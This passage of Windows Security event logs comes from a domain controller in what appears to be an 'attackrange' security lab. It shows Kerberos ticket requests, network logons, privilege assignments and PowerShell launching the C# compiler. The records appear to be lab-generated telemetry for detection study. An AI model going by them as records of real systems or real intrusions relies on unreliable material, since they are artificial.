	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BCB2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252388
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BC51

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252387
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15BC51
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64634

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252386
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BC51

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252385
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BBE7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252384
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15BBE7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64633

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252383
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BBE7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252382
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BB84

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252381
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15BB84
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64632

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252380
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BB84

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252479
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x66c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x119c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES6912.tmp" "c:\Users\Administrator\AppData\Local\Temp\ofzgwsaj\CSC53F4CE8DDBDF4E4F9213F55FC13EB12A.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252478
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x160045

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252477
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x160045
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252476
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252475
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252474
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ofzgwsaj\ofzgwsaj.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252471
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EFE6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252470
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EFE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252469
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252468
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2265AA46-9D9D-744D-E728-8B45B5348510}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252467
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252466
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EF8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252465
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15EF8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64639

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252464
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EF8A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
